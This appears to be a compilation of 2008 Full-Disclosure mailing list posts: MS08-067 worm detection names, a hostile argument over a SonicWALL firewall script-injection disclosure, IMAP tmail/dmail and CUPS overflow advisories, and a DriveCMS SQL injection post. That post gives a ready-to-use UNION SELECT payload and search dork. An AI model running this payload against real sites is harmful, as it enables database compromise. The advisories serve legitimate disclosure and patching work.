Windows RPC worm (MS08-067) in the wild
The worm-type exploitation has started. More information at http://www.f-secure.com/weblog/archives/1526.html The worm component has reportdly detection name Exploit.Win32.MS08-067.g and the kernel component Rootkit.Win32.KernelBot.dg, in turn. Symantec uses Worm category too and the name W32.Wecorl: http://www.symantec.com/business/security_response/writeup.jsp?docid=2008-110306-2212-99tabid=2 Juha-Matti
Re: [Full-disclosure] Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day
Hello Fionnbharr, Please see my response to your comments in-line. On Fri, Oct 31, 2008 at 8:31 AM, Fionnbharr [EMAIL PROTECTED] wrote: This isn't new. It isn't even a technique. http://www.bluecoat.com/support/securityadvisories/icap_patience A very recent example of this kind of vulnerability. My god you gnucitizen people are retarded. At least you didn't give it a ridiculous name like 'clickjacking'. Can you GNUtards please keep your 'research' into subjects people already know to yourself or at least not post it the lists, then at least I won't have to see it. That Bluecoat advisory was released on 29 September 2008. What makes you think that I did not discover the SonicWALL vulnerability/vector and reported it to ZDI *way before* that date? Well, FYI I reported it to ZDI in June 2008 and discovered it even before. At least, you should consider the possibility of the attack vector being discovered by two researchers concurrently. It can take quite a few months before the vendor provides a patch, not to mention that SonicWALL was VERY slow to confirm the vulnerability. Don't you know that responsible disclosure means that the details of a vulnerability can be held for quite a while before being released to the public? Since when the publishing date of an advisory is equal to discovery date? Furthermore, it appears that Bluecoat only released their advisory *after* the researcher jplopezy made his advisory public, which could suggest that he did NOT inform the vendor before releasing the details: http://www.securityfocus.com/archive/1/496940/30/0/threaded It's also interesting that the researcher released the advisory (bugtraq post) one day *after* I published the general description of the attack: June 25th, 2008. ZDI forwards my findings to SonicWALL (see Disclosure Timeline): http://www.zerodayinitiative.com/advisories/ZDI-08-070/ September 20th, 2008. I publish the general description of the attack: http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/ September 21th, 2008. Researcher jplopezy finds the same attack vector on BlueCoat's web filter: http://www.securityfocus.com/archive/1/496577/30/0/threaded Notice jplopezy published the bugtraq post *one day after* I published the general attack description on GNUCITIZEN. Interesting? Please do your homework before many any accusations. Also Malaysia: Cracking into Embedded Devices and Beyond!, who the fuck uses the word 'cracking' instead of 'hacking' in 2008? Sure for cracking passwords, but wow. Can't you accept the idea some some of us still consider hacking and breaking into a system not necessarily the same thing? Regards, ap. 2008/10/31 Adrian P [EMAIL PROTECTED]: Hello folks, Yesterday, I presented for the first time [1] a new method to perform universal website hijacking by exploiting content filtering features commonly supported by corporate firewalls. I briefly discussed [2] the finding on GNUCITIZEN in the past without giving away the details, but rather mentioning what the attacker can do and some characteristics of the attack. Anyway, I'm now releasing full details on how the technique works, and a real 0day example against SonicWALL firewalls. The paper can be found on the GNUCITIZEN labs site. Please let me know if you can successfully use the same technique against firewalls by other vendors: http://sites.google.com/a/gnucitizen.org/lab/research-papers Finally, I'd like to thank Zero Day Initiative [3] for their great work and the Hack in the Box crew for organizing such a fine event! Regards, ap. REFERENCES [1] HITBSecConf2008 - Malaysia: Cracking into Embedded Devices and Beyond! http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=186 [2] New technique to perform universal website hijacking http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/ [3] SonicWALL Content-Filtering Universal Script Injection Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-08-070/ -- Adrian pagvac Pastor | GNUCITIZEN gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
DriveCMS article.php remote sql injection
# # Author: Beenu Arora # # Home : www.BeenuArora.com # # Email : [EMAIL PROTECTED] # # Share the c0de! # # # Title: DriveCMS Article.php Sql Injection # # Vendor: http://drivecms.com # # ### # # d0rk:Powered by DriveCMS # ### Live Demo: payload: /article.php?id=-1+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8,9.10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33-- Column number can be diffrent too ### # # Bug discovered : 02 Nov.2008 ###
Re: [Full-disclosure] Windows RPC worm (MS08-067) in the wild
Kaspersky detect the new wave as Exploit.Win32.MS08-067.g and Microsoft as Exploit:Win32/MS08067.gen!A Sophos uses name Mal/Generic-A. One of the reported file size is 16,384 bytes: http://www.threatexpert.com/report.aspx?uid=919a973d-9fe1-4196-b202-731ebaaffa5d Windows RPC vulnerability (MS08-067) FAQ has been updated to include these detection names: http://blogs.securiteam.com/index.php/archives/1150 Juha-Matti Juha-Matti Laurio [EMAIL PROTECTED] kirjoitti: The worm-type exploitation has started. More information at http://www.f-secure.com/weblog/archives/1526.html The worm component has reportdly detection name Exploit.Win32.MS08-067.g and the kernel component Rootkit.Win32.KernelBot.dg, in turn. Symantec uses Worm category too and the name W32.Wecorl: http://www.symantec.com/business/security_response/writeup.jsp?docid=2008-110306-2212-99tabid=2 Juha-Matti
Re: [Full-disclosure] Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day
Hi Fionnbharr, Well, that's fair enough. tbh, I couldn't find older examples, but this is one of the points of sending a post to the lists: other people can review it and give feedback. I just sometimes wished people were more constructive on FD. Regarding the paper, well, it can be useful for people who want to find a similar issue in their firewall/proxy appliances. Don't you think? No need to call anyone names IMO. And please, why do people keep attacking Kaminsky? He has greatly contributed to the infosec community so please give him some credit! Thanks for your email anyway. Perhaps, you could have expressed yourself in a less aggressive/more constructive manner? Regards, ap. On Fri, Oct 31, 2008 at 10:18 PM, Fionnbharr [EMAIL PROTECTED] wrote: Sure, this attack vector has been 'discovered' by lots of people in the past, or even concurrently, thats my point. It doesn't merit a whole paper on it. Not to mention you're getting on the FUD/Kaminsky bandwagon when GNUtards release a statement like 'New technique to universally hijack websites', trying to get some media attention for something everyone else already knew. re: the bluecoat vuln, if you read my post I just said it was a recent (or as you might put it, *recent*) example of this type of vulnerability. I've this sort of vuln myself with client software and so has a number of other people I know. Glad to see the majority of your email is completely irrelevant. 2008/11/1 Adrian P [EMAIL PROTECTED]: Hello Fionnbharr, Please see my response to your comments in-line. On Fri, Oct 31, 2008 at 8:31 AM, Fionnbharr [EMAIL PROTECTED] wrote: This isn't new. It isn't even a technique. http://www.bluecoat.com/support/securityadvisories/icap_patience A very recent example of this kind of vulnerability. My god you gnucitizen people are retarded. At least you didn't give it a ridiculous name like 'clickjacking'. Can you GNUtards please keep your 'research' into subjects people already know to yourself or at least not post it the lists, then at least I won't have to see it. That Bluecoat advisory was released on 29 September 2008. What makes you think that I did not discover the SonicWALL vulnerability/vector and reported it to ZDI *way before* that date? Well, FYI I reported it to ZDI in June 2008 and discovered it even before. At least, you should consider the possibility of the attack vector being discovered by two researchers concurrently. It can take quite a few months before the vendor provides a patch, not to mention that SonicWALL was VERY slow to confirm the vulnerability. Don't you know that responsible disclosure means that the details of a vulnerability can be held for quite a while before being released to the public? Since when the publishing date of an advisory is equal to discovery date? Furthermore, it appears that Bluecoat only released their advisory *after* the researcher jplopezy made his advisory public, which could suggest that he did NOT inform the vendor before releasing the details: http://www.securityfocus.com/archive/1/496940/30/0/threaded It's also interesting that the researcher released the advisory (bugtraq post) one day *after* I published the general description of the attack: June 25th, 2008. ZDI forwards my findings to SonicWALL (see Disclosure Timeline): http://www.zerodayinitiative.com/advisories/ZDI-08-070/ September 20th, 2008. I publish the general description of the attack: http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/ September 21th, 2008. Researcher jplopezy finds the same attack vector on BlueCoat's web filter: http://www.securityfocus.com/archive/1/496577/30/0/threaded Notice jplopezy published the bugtraq post *one day after* I published the general attack description on GNUCITIZEN. Interesting? Please do your homework before many any accusations. Also Malaysia: Cracking into Embedded Devices and Beyond!, who the fuck uses the word 'cracking' instead of 'hacking' in 2008? Sure for cracking passwords, but wow. Can't you accept the idea some some of us still consider hacking and breaking into a system not necessarily the same thing? Regards, ap. 2008/10/31 Adrian P [EMAIL PROTECTED]: Hello folks, Yesterday, I presented for the first time [1] a new method to perform universal website hijacking by exploiting content filtering features commonly supported by corporate firewalls. I briefly discussed [2] the finding on GNUCITIZEN in the past without giving away the details, but rather mentioning what the attacker can do and some characteristics of the attack. Anyway, I'm now releasing full details on how the technique works, and a real 0day example against SonicWALL firewalls. The paper can be found on the GNUCITIZEN labs site. Please let me know if you can successfully use the same technique against firewalls by other vendors:
Re: [Full-disclosure] Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day
Sure, this attack vector has been 'discovered' by lots of people in the past, or even concurrently, thats my point. It doesn't merit a whole paper on it. Not to mention you're getting on the FUD/Kaminsky bandwagon when GNUtards release a statement like 'New technique to universally hijack websites', trying to get some media attention for something everyone else already knew. re: the bluecoat vuln, if you read my post I just said it was a recent (or as you might put it, *recent*) example of this type of vulnerability. I've this sort of vuln myself with client software and so has a number of other people I know. Glad to see the majority of your email is completely irrelevant. 2008/11/1 Adrian P [EMAIL PROTECTED]: Hello Fionnbharr, Please see my response to your comments in-line. On Fri, Oct 31, 2008 at 8:31 AM, Fionnbharr [EMAIL PROTECTED] wrote: This isn't new. It isn't even a technique. http://www.bluecoat.com/support/securityadvisories/icap_patience A very recent example of this kind of vulnerability. My god you gnucitizen people are retarded. At least you didn't give it a ridiculous name like 'clickjacking'. Can you GNUtards please keep your 'research' into subjects people already know to yourself or at least not post it the lists, then at least I won't have to see it. That Bluecoat advisory was released on 29 September 2008. What makes you think that I did not discover the SonicWALL vulnerability/vector and reported it to ZDI *way before* that date? Well, FYI I reported it to ZDI in June 2008 and discovered it even before. At least, you should consider the possibility of the attack vector being discovered by two researchers concurrently. It can take quite a few months before the vendor provides a patch, not to mention that SonicWALL was VERY slow to confirm the vulnerability. Don't you know that responsible disclosure means that the details of a vulnerability can be held for quite a while before being released to the public? Since when the publishing date of an advisory is equal to discovery date? Furthermore, it appears that Bluecoat only released their advisory *after* the researcher jplopezy made his advisory public, which could suggest that he did NOT inform the vendor before releasing the details: http://www.securityfocus.com/archive/1/496940/30/0/threaded It's also interesting that the researcher released the advisory (bugtraq post) one day *after* I published the general description of the attack: June 25th, 2008. ZDI forwards my findings to SonicWALL (see Disclosure Timeline): http://www.zerodayinitiative.com/advisories/ZDI-08-070/ September 20th, 2008. I publish the general description of the attack: http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/ September 21th, 2008. Researcher jplopezy finds the same attack vector on BlueCoat's web filter: http://www.securityfocus.com/archive/1/496577/30/0/threaded Notice jplopezy published the bugtraq post *one day after* I published the general attack description on GNUCITIZEN. Interesting? Please do your homework before many any accusations. Also Malaysia: Cracking into Embedded Devices and Beyond!, who the fuck uses the word 'cracking' instead of 'hacking' in 2008? Sure for cracking passwords, but wow. Can't you accept the idea some some of us still consider hacking and breaking into a system not necessarily the same thing? Regards, ap. 2008/10/31 Adrian P [EMAIL PROTECTED]: Hello folks, Yesterday, I presented for the first time [1] a new method to perform universal website hijacking by exploiting content filtering features commonly supported by corporate firewalls. I briefly discussed [2] the finding on GNUCITIZEN in the past without giving away the details, but rather mentioning what the attacker can do and some characteristics of the attack. Anyway, I'm now releasing full details on how the technique works, and a real 0day example against SonicWALL firewalls. The paper can be found on the GNUCITIZEN labs site. Please let me know if you can successfully use the same technique against firewalls by other vendors: http://sites.google.com/a/gnucitizen.org/lab/research-papers Finally, I'd like to thank Zero Day Initiative [3] for their great work and the Hack in the Box crew for organizing such a fine event! Regards, ap. REFERENCES [1] HITBSecConf2008 - Malaysia: Cracking into Embedded Devices and Beyond! http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=186 [2] New technique to perform universal website hijacking http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/ [3] SonicWALL Content-Filtering Universal Script Injection Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-08-070/ -- Adrian pagvac Pastor | GNUCITIZEN gnucitizen.org ___ Full-Disclosure - We believe in it. Charter:
Bitsec Security Advisory: UW/Panda IMAP [dt]mail buffer overflow
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
===
Bitsec Security Advisory: UW/Panda IMAP [dt]mail buffer overflow2008-11-03
===
Applications tmail/dmail in UW IMAP [2002-2007c], Panda IMAP, Alpine = 2.00
Discovered by Aron Andersson [EMAIL PROTECTED],
Jan Sahlin [EMAIL PROTECTED]
Researched by Aron Andersson [EMAIL PROTECTED]
Reference http://www.bitsec.com/en/rad/bsa-081103.txt
GPG Keyhttp://www.bitsec.com/labs.asc
Overview
tmail and dmail are mail delivery agents that deliver mail to a user's INBOX
or a designated folder, specified by the folder extension in the user+folder
argument on the command line. If tmail is used for mail delivery from a
process whose UID is not the destination user, it must be installed setuid
root; dmail can be used when the process is run as the destination user.
Problem
A vulnerability exists in both applications due to missing boundary checks on
the folder extension argument from the command line. The bug can be exploited
by overflowing a stack buffer via an overly long folder name.
For tmail, this could allow for arbitrary code execution as the root user. As
mentioned the vulnerability also exists for dmail, but the impact is a bit
less critical since it usually runs as the recipient user and not root.
Depending on the mailer daemon and configuration in use, this bug may also
be remotely exploitable.
The bug is caused by the following pieces of code:
[tmail.c]
char *getusername (char *s,char **t)
{
char tmp[MAILTMPLEN];
if (*t = strchr (s,'+')) {/* have a mailbox specifier? */
*(*t)++ = '\0'; /* yes, tie off user name */
/* user+ and user+INBOX same as user */
if (!**t || !strcmp (INBOX,ucase (strcpy (tmp,*t *t = NIL;
}
return s; /* return user name */
}
[dmail.c]
int deliver (FILE *f,unsigned long msglen,char *user)
{
MAILSTREAM *ds = NIL;
char *s,*mailbox,tmp[MAILTMPLEN],path[MAILTMPLEN];
STRING st;
struct stat sbuf;
/* have a mailbox specifier? */
if (mailbox = strchr (user,'+')) {
*mailbox++ = '\0'; /* yes, tie off user name */
if (!*mailbox || !strcmp (INBOX,ucase (strcpy (tmp,mailbox
mailbox = NIL;/* user+ and user+INBOX same as user */
}
(..)
The user+folder command line argument reaches deliver() and getusername()
through the char pointers 's' and 'user', respectively. The folder part is
separated from the user and copied to the buffer 'tmp'. Since 'tmp' is placed
on the stack, an overly long folder name can be used to overwrite stack data,
including but not limited to the saved EIP.
Exploit
A proof-of-concept exploit for this vulnerability has been developed but will
not be publicly released until 2008-11-10, by which time it can be found at
http://www.bitsec.com/en/rad/bsa-081103.c
Fix
Upgrade to the latest version from your IMAP vendor:
- UW IMAP: 2007d
http://www.washington.edu/imap/
- Panda IMAP: tmail ver 2008.24, dmail ver 2008.19
http://www.panda.com/imap/
- Alpine: No fix, tmail/dmail users should get UW IMAP 2007d
http://www.washington.edu/alpine/
Disclosure Timeline
2008-10-24 Notified developers (Mark Crispin, Steve Hubert)
2008-10-27 Received response from developers
2008-10-27 Panda IMAP patched
2008-10-30 UW IMAP patched
2008-11-03 Public release
===
Bitsec Security Advisory: UW/Panda IMAP [dt]mail buffer overflow2008-11-03
===
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)
iD8DBQFJDuPnzx20c5GX95oRApDFAKCLzTOOPmHsoGCcgxkbZvtCSFQujgCgugO/
yjilZ4XHBYXTPEXbVVnS7Rk=
=OsgS
-END PGP SIGNATURE-
iDefense Security Advisory 11.03.08: Multiple Vendor CUPS texttops Integer Overflow Vulnerability
iDefense Security Advisory 10.09.08 http://labs.idefense.com/intelligence/vulnerabilities/ Oct 09, 2008 I. BACKGROUND The Common UNIX Printing System, more commonly referred to as CUPS, provides a standard printer interface for various Unix based operating systems. texttops is a part of CUPS responsible for creating PostScript representations of text files. For more information, visit the vendor's website at the following URL. http://www.cups.org/ II. DESCRIPTION Remote exploitation of an integer overflow vulnerability in CUPS, as included in various vendors' operating system distributions, could allow an attacker to execute arbitrary code with the privileges of the affected service. The vulnerability exists within the WriteProlog() function in the texttops application. When calculating the page size used for storing PostScript data, multiple values that are derived from attacker-controlled content are used in a multiplication operation. This calculation can overflow, resulting in an incorrect result for the total page size. This value is then used to allocate a heap buffer that is later filled with attacker controlled content, resulting in a heap buffer overflow. III. ANALYSIS Exploitation of this vulnerability results in the execution of arbitrary code with the privileges of the affected service. Depending on the underlying operating system and distribution, CUPS may run as the lp, daemon or a different user. Exploiting heap overflow vulnerabilities on modern Unix systems can be difficult due to various heap protection schemes; however, iDefense has proof-of-concept exploit code that demonstrates code execution is possible. To exploit this vulnerability remotely, the targeted host must be sharing a printer(s) on the network. If a printer is not being shared, CUPS only listens on the localhost interface, and the scope of this vulnerability would be limited to local privilege escalation. IV. DETECTION iDefense has confirmed the existence of this vulnerability in CUPS version 1.3.7. Previous versions may also be affected. V. WORKAROUND Disabling printer sharing will prevent this vulnerability from being exploited remotely. However, local exploitation is still possible. VI. VENDOR RESPONSE CUPS.org has released a patch which addresses this issue. For more information, consult their advisory at the following URL. http://www.cups.org/str.php?L2919 VII. CVE INFORMATION A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not been assigned yet. VIII. DISCLOSURE TIMELINE 09/02/2008 Initial Vendor Notification 10/09/2008 Public Disclosure IX. CREDIT This vulnerability was reported to iDefense by regenrecht. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright © 2008 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail [EMAIL PROTECTED] for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
iDefense Security Advisory 11.03.08: Multiple Vendor CUPS SGI imagetops Heap Overflow Vulnerability
iDefense Security Advisory 10.09.08 http://labs.idefense.com/intelligence/vulnerabilities/ Oct 09, 2008 I. BACKGROUND The Common UNIX Printing System, more commonly referred to as CUPS, provides a standard printer interface for various Unix based operating systems. imagetops is a part of CUPS responsible for creating PostScript representations of different graphic file formats. For more information, visit the vendor's website at the following URL. http://www.cups.org/ II. DESCRIPTION Remote exploitation of a heap-based buffer overflow vulnerability in CUPS, as included in various vendors' operating system distributions, could allow an attacker to execute arbitrary code with the privileges of the affected service. The Common Unix Printing System, more commonly referred to as CUPS, provides a standard printer interface for various Unix-based operating systems. The Silicon Graphics Image (SGI) file format parsing module is vulnerable to a heap-based buffer overflow vulnerability when parsing malformed Run Length Encoded (RLE) data. The vulnerability exists within the read_rle16() function. This function doesn't correctly validate the row count value taken from the file, which is then used to control how many 16-bit integers to store into a heap-based buffer. By providing small image dimensions and a large row count, it is possible to trigger a heap-based buffer overflow. III. ANALYSIS Exploitation of this vulnerability results in the execution of arbitrary code with the privileges of the affected service. Depending on the underlying operating system and distribution, CUPS may run as the lp, daemon or a different user. Exploiting heap overflow vulnerabilities on modern Unix systems can be difficult due to various heap protection schemes; however, the attacker has very fine-grained control over the overflow, which somewhat eases the difficulty of exploitation. To exploit this vulnerability remotely, the targeted host must be sharing a printer(s) on the network. If a printer is not being shared, CUPS only listens on the localhost interface, and the scope of this vulnerability would be limited to local privilege escalation. IV. DETECTION iDefense has confirmed the existence of this vulnerability in CUPS version 1.3.7. Previous versions may also be affected. V. WORKAROUND Disabling printer sharing will prevent this vulnerability from being exploited remotely; however, local exploitation is still possible. VI. VENDOR RESPONSE CUPS.org has released a patch which addresses this issue. For more information, consult their advisory at the following URL. http://www.cups.org/str.php?L2918 VII. CVE INFORMATION A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not been assigned yet. VIII. DISCLOSURE TIMELINE 09/02/2008 Initial Vendor Notification 10/09/2008 Public Disclosure IX. CREDIT This vulnerability was reported to iDefense by regenrecht. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright © 2008 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail [EMAIL PROTECTED] for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
